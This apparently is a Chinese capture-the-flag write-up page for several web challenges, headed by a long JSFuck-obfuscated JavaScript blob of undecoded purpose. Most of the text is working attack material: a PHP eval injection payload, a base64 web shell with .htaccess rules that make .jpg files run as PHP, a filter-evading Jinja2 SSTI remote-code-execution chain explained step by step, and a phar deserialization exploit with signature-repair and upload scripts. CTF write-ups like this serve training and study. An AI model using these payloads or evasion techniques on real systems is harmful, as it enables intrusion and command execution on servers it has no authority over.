[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())

迷路的魔法少女

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
}

String2Array($attrstr);

审计一下

String2Array 函数直接将传入的 $data 拼接到 eval() 中执行。而 $data 的来源是 $attrstr，$attrstr 的内容又完全由 GET 参数 $attrid 和 $attrvalue 控制。

核心考点在于：在双引号字符串拼接的上下文中，如何闭合引号并注入合法的 PHP 代码。

payload：

1
?attrid=0&attrstr=${eval(system('cat /etc/timezone'))}

funny_upload

看了一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Checkfiles()
{
  var fup = document.getElementById('file');
  var fileName = fup.value;
  var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
  if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
  {
    return true;
  }
  else
  {
    alert("这个文件不好，我不喜欢");
    return false;
  }
}

所以我们上传一个jpg试试

回显：文件内容也改改呗~，看来会校验文件内容，第一次见呢

那我们可以对文件内容进行修改：（用base64编码一下）

1
2
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=
//<?php@eval($_POST[1]);?>

上传成功了，打.htaccess配置文件上传

1
2
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"

Power Cookie

以游客身份登录，发现服务器 返回了set-cookie

actuator-env

将set-cookie返回的值上送，并修改成管理员即可

1
Cookie: admin=1; Path=/; Domain=127.0.0.1; Max-Age=3600

EasySSTI

测一下{{7*7}}，回显49

存在SSTI注入，且模板为Janja

发现_被过滤，进一步测试发现 class、.、[]、'、"、request``空格等都被过滤。

所以要构造：
通过字符串拼接和索引访问，动态重构被过滤的敏感属性名和方法名，最终调用 os.popen('cat /flag').read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# pop p
{%set%0ap=dict(po=a,p=a)|join%}
# _ xhx
{%set%0axhx=({}|select()|string()|list|attr(p)(24))%}
# __getitem__ geti
{%set%0ageti=(xhx,xhx,dict(geti=a,tem=a)|join,xhx,xhx)|join%}
# __globals__ glo
{%set%0aglo=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
# os o
{%set%0ao=dict(o=a,s=a)|join%}
# popen po
{%set%0apo=dict(po=a,pen=a)|join%}
# ls ls
{%set%0als=dict(ls=a)|join%}
# cat cat
{%set%0acat=dict(cat=a)|join%}
# read re
{%set%0are=dict(re=a,ad=a)|join%}
# 空格 kg
{%set%0akg=(self|string()|list|attr(pop)(18))%}
# / k
{%set%0ak=(config|string()|list|attr(pop)(279))%}
# flag f
{%set%0af=dict(flag=a)|join%}
 
 
{%set%0ap=dict(po=a,p=a)|join%}{%set%0axhx=({}|select()|string()|list|attr(p)(24))%}{%set%0ageti=(xhx,xhx,dict(geti=a,tem=a)|join,xhx,xhx)|join%}{%set%0aglo=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}{%set%0apo=dict(po=a,pen=a)|join%}{%set%0ao=dict(o=a,s=a)|join%}{%set%0als=dict(ls=a)|join%}{%set%0are=dict(re=a,ad=a)|join%}{%set%0akg=(self|string()|list|attr(p)(18))%}{%set%0ak=(config|string()|list|attr(p)(279))%}{%set%0acat=dict(cat=a)|join%}{%set%0af=dict(flag=a)|join%}
{{lipsum|attr(glo)|attr(geti)(o)|attr(po)((cat,kg,k,f)|join)|attr(re)()}}

这是一个非常经典的 Jinja2 模板注入 (SSTI) Payload，专门用于在**过滤了敏感关键字（如 __、.、空格、引号等）**的 WAF 或沙箱环境中实现远程代码执行 (RCE)。

这个 Payload 的核心思想是：通过字符串拼接和索引访问，动态重构被过滤的敏感属性名和方法名，最终调用 **os.popen('cat /flag').read()**。

1
{%set%0ap=dict(po=a,p=a)|join%}{%set%0axhx=({}|select()|string()|list|attr(p)(24))%}{%set%0ageti=(xhx,xhx,dict(geti=a,tem=a)|join,xhx,xhx)|join%}{%set%0aglo=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}{%set%0apo=dict(po=a,pen=a)|join%}{%set%0ao=dict(o=a,s=a)|join%}{%set%0als=dict(ls=a)|join%}{%set%0are=dict(re=a,ad=a)|join%}{%set%0akg=(self|string()|list|attr(p)(18))%}{%set%0ak=(config|string()|list|attr(p)(279))%}{%set%0acat=dict(cat=a)|join%}{%set%0af=dict(flag=a)|join%}{{lipsum|attr(glo)|attr(geti)(o)|attr(po)((cat,kg,k,f)|join)|attr(re)()}}

构造过程：

基础原子提取（Atom Extraction）

在过滤了引号、点号和下划线的环境中，首先需要从当前上下文中“无中生有”地提取出基础构建单元。

  • 获取 **pop** 方法名：
    {%set p=dict(po=a,p=a)|join%}
    利用 Python 字典键的有序性（Python 3.7+），将 dict(po=a, p=a) 转为字符串拼接，得到 "pop"。这是后续所有 .attr() 调用的基石，因为 |attr("pop") 等价于列表/元组的索引操作 [index]。
  • **获取下划线 ****_**：
    {%set xhx=({}|select()|string()|list|attr(p)(24))%}
    空字典经过 select() 过滤器后生成一个 generator 对象，将其转为字符串 "<generator object select at 0x...>"，再转为列表取第 24 个字符。这个位置在大多数 Jinja2 版本中固定为 _。

关键字动态重组（Keyword Reconstruction）

WAF 通常通过正则匹配 __globals__、popen 等敏感词。此 Payload 采用碎片化拼接策略彻底规避检测。

  • 双下划线魔术方法重构：
    {%set geti=(xhx,xhx,dict(geti=a,tem=a)|join,xhx,xhx)|join%}
    将已提取的 _ (xhx) 与通过 dict()|join 生成的 "getitem" 放入元组，再用 |join 无缝拼接成 "__getitem__"。同理构造 "__globals__"。
  • 命令与参数碎片化：
    os → dict(o=a,s=a)|join
    popen → dict(po=a,pen=a)|join
    cat → dict(cat=a)|join
    这种拆分方式使得任何单个片段都不具备语义，只有运行时动态组合才形成有效载荷。

特殊字符索引定位（Special Char Indexing）

空格和路径分隔符 / 无法通过字典拼接获得，Payload 采用了对象字符串表示索引法。

  • 空格提取：
    {%set kg=(self|string()|list|attr(p)(18))%}
    self 是模板自身的引用对象，其字符串表示 "<TemplateReference self>" 的第 18 个字符恰好是空格。
  • 斜杠提取：
    {%set k=(config|string()|list|attr(p)(279))%}
    Flask 的 config 对象包含大量配置信息，其字符串表示极长。第 279 位被精心计算为 /。

⚠️ 工程脆弱性提示：这两个硬编码索引是整个 Payload 最脆弱的环节。Flask/Jinja2 版本更新、配置项增减都会导致索引偏移。实战中需先探测版本或动态搜索目标字符。

执行链装配（Chain Assembly）

最后一步是将所有预制件按 Python 对象模型组装成可执行链路。

1
{{lipsum|attr(glo)|attr(geti)(o)|attr(po)((cat,kg,k,f)|join)|attr(re)()}}

构造工程的精髓总结

  1. 零字面量原则：整个 Payload 不包含任何引号、点号、双下划线，所有字符串均运行时生成。
  2. 多态入口选择：选用 lipsum 而非 request 或 session，因为它是 Jinja2 内置全局函数，不受 Flask 路由上下文影响，攻击面更稳定。
  3. 语法替代链：. → |attr()；[] → |attr("pop")(n)；"" → dict()|join；_ → 字符串索引。形成了完整的语法替代体系。
  4. URL 友好设计：原始 Payload 使用 %0a 换行分隔语句，既保证了模板引擎的正确解析，又避免了分号 ; 可能被 WAF 拦截的风险。

这套构造方法论不仅适用于 Jinja2，其原子提取→碎片重组→索引定位→链式装配的四步工程思维，同样可迁移至 Twig、Freemarker、Velocity 等其他模板引擎的对抗场景中。

注意：空格和 / 的索引值依赖于 Flask/Jinja2 的具体版本，不同版本可能需要调整。

最终执行链

1
{{lipsum|attr(glo)|attr(geti)(o)|attr(po)((cat,kg,k,f)|join)|attr(re)()}}

逐步展开等价于：

1
lipsum.__globals__.__getitem__('os').popen('cat /flag').read()

Unserialize Again

看起来像是一个文件上传页面，上传了文件之后回显其实这次不是在这里上传

那就看看源码，发现注释：<!--饼干？哪里有饼干-->

用bp抓包，发现Cookie: looklook=pairing.php

访问/pairing.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
  highlight_file(__FILE__);
error_reporting(0);  
class story{
  private $user='admin';
  public $pass;
  public $eating;
  public $God='false';
  public function __wakeup(){
    $this->user='human';
    if(1==1){
      die();
    }
    if(1!=1){
      echo $fffflag;
    }
  }
  public function __construct(){
    $this->user='AshenOne';
    $this->eating='fire';
    die();
  }
  public function __tostring(){
    return $this->user.$this->pass;
  }
  public function __invoke(){
    if($this->user=='admin'&&$this->pass=='admin'){
      echo $nothing;
    }
  }
  public function __destruct(){
    if($this->God=='true'&&$this->user=='admin'){
      system($this->eating);
    }
    else{
      die('Get Out!');
    }
  }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
  // $Eden=new story();
  $pear=$_GET['pear'];
  $Adam=$_GET['apple'];
  $file=file_get_contents('php://input');
  file_put_contents($pear,urldecode($file));
  file_exists($Adam);
}
else{
  echo '多吃雪梨';
}

分析一下，命令执行的条件是让God=true和user=admin成立，所以我们要绕__wakeup()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class story
{
    public $user;
    public $pass;
    public $eating;
    public $God;
}

$a = new story();
$a->user = 'admin';
$a->God = true;
$a->eating = 'cat /*';
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?><?php
class story
{
    public $user;
    public $pass;
    public $eating;
    public $God;
}

$a = new story();
$a->user = 'admin';
$a->God = true;
$a->eating = 'cat /*';
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

将生成的文件，用 010 打开，复制到新建的十六进制文件修改属性数目, 绕过__wakeup

actuator-env

然后由于签名文件损坏要修复，注意到最后一行00前的03，可以知道为SHA256，修复脚本如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from hashlib import sha256

with open("hacker.phar", 'rb') as f:
    data = f.read()

# phar 签名结构: 正文 + SHA256(32字节) + 标志位(8字节)
main = data[:-40]
end = data[-8:]
new_sign = sha256(main).digest()

with open("hacker.phar", 'wb') as f:
    f.write(main + new_sign + end)

print("[+] phar 签名修复完成")

然后发现题目的文件上传不能用，那么写脚本上传，顺便进行url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import urllib.parse

TARGET_URL = "http://02773a505d08ea5e9484d225.http-ctf2.dasctf.com/pairing.php"

with open("hacker.phar", "rb") as f:
    phar_data = urllib.parse.quote(f.read())

params = {
    "pear": "hacker.phar",
    "apple": "phar://hacker.phar"
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

print(f"[*] 正在发送请求至: {TARGET_URL}")
resp = requests.post(
    TARGET_URL,
    params=params,       # ← GET 参数
    data=phar_data,      # ← POST body (php://input 读取的内容)
    headers=headers
)

print("[*] 响应状态码:", resp.status_code)
print("[*] 响应内容:")
print(resp.text)

Ez to getflag

点开发现有两个页面：图片上传和图片查看

图片上传只支持上传png，而且看不到上传的文件

看一下图片查看，抓包发现有文件任意读取漏洞

actuator-env

预期解

读取文件

file.php

1
2
3
4
5
6
7
8
<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $filename = $_GET['f'];
    $show = new Show($filename);
    $show->show();
?>

upload.php

1
2
3
4
5
6
7
<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $upload = new Upload();
